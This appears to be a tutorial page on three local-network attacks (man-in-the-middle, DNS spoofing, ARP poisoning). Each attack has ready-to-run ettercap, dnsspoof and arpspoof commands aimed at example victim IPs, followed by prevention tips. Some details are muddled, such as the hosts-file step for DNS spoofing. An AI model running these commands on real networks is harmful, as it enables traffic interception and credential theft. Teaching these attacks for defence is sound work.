Skip to content

Network Attacks

🔥 Network Attacks & Prevention with Implementation 🚀

Network attacks exploit vulnerabilities in communication protocols to intercept, manipulate, or disrupt data. Below are some common attacks and how to implement/detect them.

1️⃣ Man-in-the-Middle (MitM) Attack 🏴‍☠️

How It Works?

An attacker secretly intercepts communication between two parties to steal or alter data.

✅ Example Attack: Using ettercap to perform an HTTPS MitM attack on a local network.

🔴 Attack Implementation (Linux)

# Enable IP forwarding (necessary for packet interception)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Launch Ettercap to perform MitM attack
ettercap -T -q -i eth0 -M arp:remote /192.168.1.1/ /192.168.1.100/

🔹 This forces victim (192.168.1.100) to send traffic through the attacker's machine.

🛡️ Prevention

✔ Avoid public Wi-Fi or use a VPN.
✔ Enable HTTPS & TLS encryption (Check for 🔒 icon in URLs).
✔ Use Multi-Factor Authentication (MFA).
✔ Use HSTS (HTTP Strict Transport Security) to prevent HTTPS downgrade attacks.

2️⃣ DNS Spoofing (DNS Cache Poisoning) 🌐

How It Works?

Attackers modify DNS records to redirect users to fake websites and steal credentials.

✅ Example Attack: Using dnsspoof to redirect a victim’s request to a malicious site.

🔴 Attack Implementation (Linux)

# Edit hosts file to fake a website (e.g., redirect google.com)
echo "192.168.1.200 google.com" >> /etc/hosts

# Run dnsspoof to poison DNS cache on the network
dnsspoof -i eth0

🔹 When the victim types google.com, they are redirected to 192.168.1.200 (malicious site).

🛡️ Prevention

✔ Use DNSSEC (DNS Security Extensions) to verify DNS responses.
✔ Flush DNS cache regularly (sudo systemd-resolve --flush-caches).
✔ Use trusted DNS providers (Google DNS: 8.8.8.8, Cloudflare DNS: 1.1.1.1).

3️⃣ ARP Poisoning (Address Resolution Protocol Spoofing) 📡

How It Works?

Attackers manipulate ARP tables to link their MAC address with a victim’s IP, allowing them to intercept or modify traffic.

✅ Example Attack: Using arpspoof to redirect traffic through the attacker's machine.

🔴 Attack Implementation (Linux)

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Poison ARP cache of target 192.168.1.100 by making it think we are the router (192.168.1.1)
arpspoof -i eth0 -t 192.168.1.100 -r 192.168.1.1

🔹 Now all traffic from 192.168.1.100 is routed through the attacker's machine.

🛡️ Prevention

✔ Use static ARP entries for critical devices (arp -s <IP> <MAC>).
✔ Implement ARP Spoofing Detection tools like Arpwatch.
✔ Enable Port Security & Dynamic ARP Inspection (DAI) in network switches.

🚀 Final Thoughts

These attacks show how easily network security can be compromised. The best defense is encryption, strong authentication, and continuous monitoring.

Would you like a script to detect and prevent ARP poisoning automatically? 🚀